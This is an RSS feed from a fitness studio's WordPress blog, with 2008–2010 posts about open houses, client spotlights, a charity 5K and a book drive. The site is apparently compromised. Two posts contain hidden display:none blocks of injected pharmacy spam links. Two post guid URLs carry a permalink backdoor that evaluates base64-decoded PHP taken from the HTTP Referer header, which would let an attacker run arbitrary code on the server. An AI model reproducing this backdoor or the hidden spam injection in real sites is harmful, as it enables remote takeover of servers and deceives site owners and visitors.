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<channel>
	<title>Fitness Together</title>
	<link>http://www.fitnesstogethercharlotte.com/blog</link>
	<description></description>
	<pubDate>Sun, 25 Jul 2010 12:02:12 +0000</pubDate>
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		<title></title>
		<link>http://www.fitnesstogethercharlotte.com/blog/2010/07/25/48/%</link>
		<comments>http://www.fitnesstogethercharlotte.com/blog/2010/07/25/48/%#comments</comments>
		<pubDate>Sun, 25 Jul 2010 12:02:12 +0000</pubDate>
		<dc:creator>rick</dc:creator>
		
		<category><![CDATA[South End]]></category>

		<category><![CDATA[South Park]]></category>

		<category><![CDATA[Waxhaw]]></category>

		<category><![CDATA[Morresville]]></category>

		<category><![CDATA[Plaza Midwood]]></category>

		<category><![CDATA[Matthews]]></category>

		<category><![CDATA[Blogroll]]></category>

		<category><![CDATA[News and Notes]]></category>

		<category><![CDATA[Ballantyne]]></category>

		<category><![CDATA[General]]></category>

		<guid isPermaLink="false">http://www.fitnesstogethercharlotte.com/blog/2010/07/25/48/%</guid>
		<description><![CDATA[

Levitra online
Propecia online


It&#8217;s Monday and that means it time for some new exercises direct from the crew at
]]></description>
			<content:encoded><![CDATA[<p><!-- ~~amst begin~~ --></p>
<div style="display:none">
<a href="http://www.learningpython.com/">Levitra online</a><br />
<a href="http://www.kenkolodner.com/">Propecia online</a>
</div>
<p><!-- ~~amst end~~ --></p>
<p><a href="http://www.fitnesstogethercharlotte.com/blog/wp-content/uploads/2008/02/488583_high1.jpg" title="488583_high1.jpg"><img src="http://www.fitnesstogethercharlotte.com/blog/wp-content/uploads/2008/02/488583_high1.thumbnail.jpg" alt="488583_high1.jpg" /></a>It&#8217;s Monday and that means it time for some new exercises direct from the crew at  <a href="http://www.fitnesstogethercharlotte.com/blog/2010/07/25/48/%#more-48" class="more-link">(more&#8230;)</a></p>
]]></content:encoded>
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		<item>
		<title>Client of the Month</title>
		<link>http://www.fitnesstogethercharlotte.com/blog/2010/07/11/client-of-the-month/%</link>
		<comments>http://www.fitnesstogethercharlotte.com/blog/2010/07/11/client-of-the-month/%#comments</comments>
		<pubDate>Sun, 11 Jul 2010 10:22:46 +0000</pubDate>
		<dc:creator>rick</dc:creator>
		
		<category><![CDATA[South End]]></category>

		<category><![CDATA[South Park]]></category>

		<category><![CDATA[Waxhaw]]></category>

		<category><![CDATA[Morresville]]></category>

		<category><![CDATA[Plaza Midwood]]></category>

		<category><![CDATA[Matthews]]></category>

		<category><![CDATA[Blogroll]]></category>

		<category><![CDATA[News and Notes]]></category>

		<category><![CDATA[Ballantyne]]></category>

		<category><![CDATA[General]]></category>

		<guid isPermaLink="false">http://www.fitnesstogethercharlotte.com/blog/2010/07/11/client-of-the-month/%</guid>
		<description><![CDATA[

American Airlines
Bastille Day


Allison has been with us since the middle of 2007.  In that time she has dropped 2 dress sizes. 
]]></description>
			<content:encoded><![CDATA[<p><!-- ~~amst begin~~ --></p>
<div style="display:none">
<a href="http://www.impact-books.com/">American Airlines</a><br />
<a href="http://www.cambridgecoworking.com/">Bastille Day</a>
</div>
<p><!-- ~~amst end~~ --></p>
<p style="margin: 0in 5.25pt 10pt 9pt; text-align: justify" class="MsoNormal"><font face="Calibri">Allison has been with us since the middle of 2007.  In that time she has dropped 2 dress sizes.   <a href="http://www.fitnesstogethercharlotte.com/blog/2010/07/11/client-of-the-month/%#more-40" class="more-link">(more&#8230;)</a></p>
]]></content:encoded>
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		</item>
		<item>
		<title>OPEN HOUSE! (Saturday July 10th, from 10:30am to 2:00pm)</title>
		<link>http://www.fitnesstogethercharlotte.com/blog/2010/07/05/open-house-saturday-july-10th-from-1030am-to-200pm/%</link>
		<comments>http://www.fitnesstogethercharlotte.com/blog/2010/07/05/open-house-saturday-july-10th-from-1030am-to-200pm/%#comments</comments>
		<pubDate>Mon, 05 Jul 2010 16:02:36 +0000</pubDate>
		<dc:creator>rick</dc:creator>
		
		<category><![CDATA[Blogroll]]></category>

		<category><![CDATA[General]]></category>

		<guid isPermaLink="false">http://www.fitnesstogethercharlotte.com/blog/2010/07/05/open-house-saturday-july-10th-from-1030am-to-200pm/%</guid>
		<description><![CDATA[Fitness Together Huntersville is honoring all clients with a Client Appreciation Day on Saturday, July 10th from 10:30am – 1:00pm. If you are interested in getting to know Fitness Together this is your opportunity to come visit us.  We have been in business for one year now and have made many new friends and [...]]]></description>
			<content:encoded><![CDATA[<p>Fitness Together Huntersville is honoring all clients with a Client Appreciation Day on Saturday, July 10th from 10:30am – 1:00pm. If you are interested in getting to know Fitness Together this is your opportunity to come visit us.  We have been in business for one year now and have made many new friends and we would like to thank all of you who have been part of our success. As personal trainers we are only as good as our client’s success.  We will be hosting an activity you all have been asking for…<br />
Train the Trainer Day!<br />
You will have the opportunity to get back at your trainer for all the push-ups, mountain climbers, and situps. So, come on out and take advantage of this opportunity to pay them back. We will also have a raffle with some great prizes including massages, salon packages and an I-pod shuffle. Food will be catered from Noodletasia.  Be sure to invite family and friends! See you all there!</p>
]]></content:encoded>
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		</item>
		<item>
		<title></title>
		<link>http://www.fitnesstogethercharlotte.com/blog/2009/12/30/103/%</link>
		<comments>http://www.fitnesstogethercharlotte.com/blog/2009/12/30/103/%#comments</comments>
		<pubDate>Wed, 30 Dec 2009 20:17:20 +0000</pubDate>
		<dc:creator>rick</dc:creator>
		
		<category><![CDATA[Blogroll]]></category>

		<category><![CDATA[General]]></category>

		<guid isPermaLink="false">http://www.fitnesstogethercharlotte.com/blog/2009/12/30/103/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</guid>
		<description><![CDATA[
Your Resolution, Our Experience
Redefine Yourself in 2010!

]]></description>
			<content:encoded><![CDATA[<p><em><a href="http://www.fitnesstogethercharlotte.com/blog/wp-content/uploads/2009/12/2010-blog-resolution.jpg" title="2010 Pic"><img src="http://www.fitnesstogethercharlotte.com/blog/wp-content/uploads/2009/12/2010-blog-resolution.thumbnail.jpg" alt="2010 Pic" /></a><br />
Your Resolution, Our Experience</em></p>
<p><strong>Redefine Yourself in 2010!<br />
</strong></p>
]]></content:encoded>
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		</item>
		<item>
		<title>FT Waxhaw Open House</title>
		<link>http://www.fitnesstogethercharlotte.com/blog/2009/11/19/ft-waxhaw-open-house/%</link>
		<comments>http://www.fitnesstogethercharlotte.com/blog/2009/11/19/ft-waxhaw-open-house/%#comments</comments>
		<pubDate>Thu, 19 Nov 2009 19:25:56 +0000</pubDate>
		<dc:creator>rick</dc:creator>
		
		<category><![CDATA[Waxhaw]]></category>

		<category><![CDATA[Blogroll]]></category>

		<category><![CDATA[General]]></category>

		<guid isPermaLink="false">http://www.fitnesstogethercharlotte.com/blog/2009/11/19/ft-waxhaw-open-house/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</guid>
		<description><![CDATA[ 
To celebrate our recent 2 year anniversary, Fitness Together of Waxhaw is honoring our clients with a &#8220;Client Appreciation Day&#8221;.  It will take place on Saturday, November 21st from 10am - 2pm and will include:
- Train the Trainer (Clients will have the opportunity to
   train their own trainers - payback time)
- Nutrition Quiz from Laurie Ross, [...]]]></description>
			<content:encoded><![CDATA[<p><span><font face="Calibri"><a href="http://www.fitnesstogethercharlotte.com/blog/wp-content/uploads/2009/11/waxhaw-dumbells-3.jpg" title="waxhaw-dumbells-3.jpg"><strong><em><img src="http://www.fitnesstogethercharlotte.com/blog/wp-content/uploads/2009/11/waxhaw-dumbells-3.thumbnail.jpg" alt="waxhaw-dumbells-3.jpg" style="width: 204px; height: 195px" height="240" width="250" /></em></strong></a></font></span><span><font face="Calibri"><strong><em> </em></strong></font></span></p>
<p><span style="line-height: 115%; font-family: 'Verdana','sans-serif'; font-size: 9pt" lang="EN">To celebrate our recent 2 year anniversary, Fitness Together of Waxhaw is honoring our clients with a &#8220;Client Appreciation Day&#8221;.  It will take place on Saturday, November 21st from 10am - 2pm and will include:</span></p>
<p><span style="line-height: 115%; font-family: 'Verdana','sans-serif'; font-size: 9pt" lang="EN"></span><span style="line-height: 115%; font-family: 'Verdana','sans-serif'; font-size: 9pt" lang="EN">- Train the Trainer (Clients will have the opportunity to<br />
   train their own trainers - payback time)<br />
- Nutrition Quiz from Laurie Ross, our licensed Dietitian<br />
- Healthy snacks provided by Debbie Burgess of the<br />
   Hungry Fox Personal Chef Services<br />
- Complimentary massages<br />
- Free giveaways including free personal training<br />
   sessions</span></p>
<p><span style="line-height: 115%; font-family: 'Verdana','sans-serif'; font-size: 9pt" lang="EN"></span><span style="line-height: 115%; font-family: 'Verdana','sans-serif'; font-size: 9pt" lang="EN">Feel free to bring family and freinds!!!</span></p>
]]></content:encoded>
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		</item>
		<item>
		<title>FT at the Asana Series Boot Camp</title>
		<link>http://www.fitnesstogethercharlotte.com/blog/2009/08/10/94/%</link>
		<comments>http://www.fitnesstogethercharlotte.com/blog/2009/08/10/94/%#comments</comments>
		<pubDate>Mon, 10 Aug 2009 13:41:58 +0000</pubDate>
		<dc:creator>rick</dc:creator>
		
		<category><![CDATA[South End]]></category>

		<category><![CDATA[South Park]]></category>

		<category><![CDATA[Waxhaw]]></category>

		<category><![CDATA[Morresville]]></category>

		<category><![CDATA[Plaza Midwood]]></category>

		<category><![CDATA[Matthews]]></category>

		<category><![CDATA[Blogroll]]></category>

		<category><![CDATA[News and Notes]]></category>

		<category><![CDATA[Ballantyne]]></category>

		<category><![CDATA[General]]></category>

		<guid isPermaLink="false">http://www.fitnesstogethercharlotte.com/blog/?p=94</guid>
		<description><![CDATA[
Trainers from Fitness Together volunteered their services to train at the Asana Activewear Summer Bootcamp Series. The energy was high and the workout was finished off with a two team relay, with the winning team getting a free session at Fitness Together!
]]></description>
			<content:encoded><![CDATA[<p><span style="line-height: 115%; font-family: 'Georgia','serif'; font-size: 10pt"><a href="http://www.fitnesstogethercharlotte.com/blog/wp-content/uploads/2009/08/ft-the-group-blog.JPG" title="FT Asana Bootcamp"></a><a href="http://www.fitnesstogethercharlotte.com/blog/wp-content/uploads/2009/08/ft-the-group-blog.JPG" title="FT Asana Series Boot Camp"></a><a href="http://www.fitnesstogethercharlotte.com/blog/wp-content/uploads/2009/08/ft-the-group-blog-2.jpg" title="FT Asana Series Boot Camp"></a><a href="http://www.fitnesstogethercharlotte.com/blog/wp-content/uploads/2009/08/ft-the-group-blog.JPG" title="FT Asana Series Boot Camp"></a><a href="http://www.fitnesstogethercharlotte.com/blog/wp-content/uploads/2009/08/ft-the-group-blog-2.jpg" title="FT Asana Series Boot Camp"><img src="http://www.fitnesstogethercharlotte.com/blog/wp-content/uploads/2009/08/ft-the-group-blog-2.jpg" alt="FT Asana Series Boot Camp" style="width: 360px; height: 220px" height="242" width="376" /></a><br />
</span><span style="line-height: 115%; font-family: 'Georgia','serif'; font-size: 10pt"><span style="line-height: 115%; font-family: 'Georgia','serif'; font-size: 9pt">Trainers from Fitness Together volunteered their services to train at the <a href="http://asanaactivewear.com/calendar/asana_summer_bootcamp/">Asana Activewear Summer Bootcamp Series</a>. The energy was high and the workout was finished off with a two team relay, with the winning team getting a free session at Fitness Together!</span><span style="line-height: 115%; font-size: 9pt"></span></span><span style="line-height: 115%; font-family: 'Georgia','serif'; font-size: 10pt"><span style="line-height: 115%; font-size: 10pt"></span></span></p>
]]></content:encoded>
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		<item>
		<title>Charlotte GBS 5K/Miracle Mile</title>
		<link>http://www.fitnesstogethercharlotte.com/blog/2009/05/11/charlotte-gbs-5kmiracle-mile/%</link>
		<comments>http://www.fitnesstogethercharlotte.com/blog/2009/05/11/charlotte-gbs-5kmiracle-mile/%#comments</comments>
		<pubDate>Mon, 11 May 2009 18:41:09 +0000</pubDate>
		<dc:creator>rick</dc:creator>
		
		<category><![CDATA[General]]></category>

		<guid isPermaLink="false">http://www.fitnesstogethercharlotte.com/blog/?p=91</guid>
		<description><![CDATA[On Saturday May, 9th Fitness Together staff, clients, and friends gathered in Charlotte for the GBS/CIDP (Gullian Barre/Chronic Inflammatory Demyelinating Polyneuropathy) 5K and Miracle Mile.  The race is a primary fundraiser for GBS/CIPD Foundation International which serves those suffering from the illnesses with support, education, and research.  To learn more about GBS/CIPD and how you [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.fitnesstogethercharlotte.com/blog/wp-content/uploads/2009/05/photo_050909_001.jpg" title="Charlotte GBS 5K/Miracle Mile"><img src="http://www.fitnesstogethercharlotte.com/blog/wp-content/uploads/2009/05/photo_050909_001.jpg" alt="Charlotte GBS 5K/Miracle Mile" style="width: 322px; height: 282px" height="691" width="865" /></a>On Saturday May, 9th Fitness Together staff, clients, and friends gathered in Charlotte for the GBS/CIDP (Gullian Barre/Chronic Inflammatory Demyelinating Polyneuropathy) 5K and Miracle Mile.  The race is a primary fundraiser for GBS/CIPD Foundation International which serves those suffering from the illnesses with support, education, and research.  To learn more about GBS/CIPD and how you can help visit <a href="http://www.gbs-cipd.org/">www.gbs-cipd.org</a>.</p>
]]></content:encoded>
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		</item>
		<item>
		<title>Hike to Crowders Mountain</title>
		<link>http://www.fitnesstogethercharlotte.com/blog/2009/04/06/hike-to-crowders-mountain/%</link>
		<comments>http://www.fitnesstogethercharlotte.com/blog/2009/04/06/hike-to-crowders-mountain/%#comments</comments>
		<pubDate>Tue, 07 Apr 2009 02:26:01 +0000</pubDate>
		<dc:creator>rick</dc:creator>
		
		<category><![CDATA[Blogroll]]></category>

		<category><![CDATA[General]]></category>

		<guid isPermaLink="false">http://www.fitnesstogethercharlotte.com/blog/?p=89</guid>
		<description><![CDATA[
FT clients got a great cardio session in by hiking the scenic trails along creeks and ridgelines to the summit of Crowders Mountain.
]]></description>
			<content:encoded><![CDATA[<p><img src="http://www.fitnesstogethercharlotte.com/blog/wp-content/uploads/2009/04/p1020840.thumbnail.JPG" alt="Hike" /><br />
<span style="font-size: 10pt; line-height: 115%; font-family: 'Verdana','sans-serif'" lang="EN">FT clients got a great cardio session in by hiking the scenic trails along creeks and ridgelines to the summit of Crowders Mountain.</span></p>
]]></content:encoded>
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		<item>
		<title>Daniel &#038; David - The Biggest Losers?</title>
		<link>http://www.fitnesstogethercharlotte.com/blog/2009/01/05/daniel-david-the-biggest-loser/%</link>
		<comments>http://www.fitnesstogethercharlotte.com/blog/2009/01/05/daniel-david-the-biggest-loser/%#comments</comments>
		<pubDate>Tue, 06 Jan 2009 00:37:59 +0000</pubDate>
		<dc:creator>rick</dc:creator>
		
		<category><![CDATA[South End]]></category>

		<category><![CDATA[South Park]]></category>

		<category><![CDATA[Waxhaw]]></category>

		<category><![CDATA[Morresville]]></category>

		<category><![CDATA[Plaza Midwood]]></category>

		<category><![CDATA[Matthews]]></category>

		<category><![CDATA[Blogroll]]></category>

		<category><![CDATA[News and Notes]]></category>

		<category><![CDATA[Ballantyne]]></category>

		<category><![CDATA[General]]></category>

		<guid isPermaLink="false">http://www.fitnesstogethercharlotte.com/blog/?p=84</guid>
		<description><![CDATA[
Good luck to Daniel &#38; David who are competing on this season’s The Biggest Loser TV show!  Daniel &#38; David were selected for the show at the casting call hosted by Fitness Together back in July of 2008.  Click here for more info on the contestants and air times.
]]></description>
			<content:encoded><![CDATA[<p><span style="font-size: 9pt; line-height: 115%; font-family: 'Verdana','sans-serif'" lang="EN"><a rel="attachment wp-att-85" href="http://www.fitnesstogethercharlotte.com/blog/?attachment_id=85" title="Daniel &amp; David"></a><a rel="attachment wp-att-86" href="http://www.fitnesstogethercharlotte.com/blog/?attachment_id=86" title="Daniel &amp; David"><img src="http://www.fitnesstogethercharlotte.com/blog/wp-content/uploads/2009/01/bl2.thumbnail.jpg" alt="Daniel &amp; David" /></a><br />
Good luck to Daniel &amp; David who are competing on this s</span><span style="font-size: 10pt; line-height: 115%; font-family: 'Verdana','sans-serif'" lang="EN">eason’s <strong><em><span style="font-family: 'Verdana','sans-serif'">The Biggest Loser</span></em></strong></span><span style="font-size: 9pt; line-height: 115%; font-family: 'Verdana','sans-serif'" lang="EN"> TV show!<span>  </span>Daniel &amp; David were selected for the show at the casting call hosted by Fitness Together </span><span style="font-size: 10pt; line-height: 115%; font-family: 'Verdana','sans-serif'" lang="EN">back in July of 2008.<span>  </span>Click </span><span style="font-size: 7.5pt; line-height: 115%; font-family: 'Verdana','sans-serif'" lang="EN"><a href="http://www.nbc.com/The_Biggest_Loser/contestants/current_cast/daniel/"><strong><span style="font-size: 10pt; color: #aa0000; line-height: 115%; text-decoration: none; text-underline: none">here</span></strong></a></span><span style="font-size: 10pt; line-height: 115%; font-family: 'Verdana','sans-serif'" lang="EN"> for more info on the contestants and air times.</span><span style="font-size: 9pt; line-height: 115%; font-family: 'Verdana','sans-serif'" lang="EN"></span></p>
]]></content:encoded>
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		<item>
		<title>Donate and Train For FREE!</title>
		<link>http://www.fitnesstogethercharlotte.com/blog/2008/12/07/donate-and-train-for-free-2/%</link>
		<comments>http://www.fitnesstogethercharlotte.com/blog/2008/12/07/donate-and-train-for-free-2/%#comments</comments>
		<pubDate>Sun, 07 Dec 2008 19:07:09 +0000</pubDate>
		<dc:creator>rick</dc:creator>
		
		<category><![CDATA[General]]></category>

		<guid isPermaLink="false">http://www.fitnesstogethercharlotte.com/blog/?p=83</guid>
		<description><![CDATA[
 As a thank you for donating to Tyler’s Tree, it will be our pleasure to give 1 FREE training session to any client who donates 10 or more books. (please note that due to hospital regulations the books must be new)  You may drop off books at any Fitness Together location.  Follow the link below [...]]]></description>
			<content:encoded><![CDATA[<p><span style="font-family: 'Georgia','serif'"><span style="font-family: 'Georgia','serif'"><a href="http://www.fitnesstogethercharlotte.com/blog/wp-content/uploads/2008/12/tylers-tree-logo.jpg" title="tylers-tree-logo.jpg"><img src="http://www.fitnesstogethercharlotte.com/blog/wp-content/uploads/2008/12/tylers-tree-logo.thumbnail.jpg" alt="tylers-tree-logo.jpg" /></a></span></span></p>
<p><span style="font-family: 'Georgia','serif'"><span style="font-family: 'Georgia','serif'"><span style="font-family: 'Georgia','serif'"> <span style="font-size: 10pt; font-family: 'Arial','sans-serif'">As a thank you for donating to Tyler’s Tree, it will be our pleasure to give 1 FREE training session to any client who donates 10 or more books. (please note that due to hospital regulations the books must be new)  You may drop off books at any Fitness Together location.  Follow the link below to learn more about Tyler&#8217;s Tree. <a href="http://www.fitnesstogethercharlotte.com/blog/2008/12/07/donate-and-train-for-free-2/%#more-83" class="more-link">(more&#8230;)</a></p>
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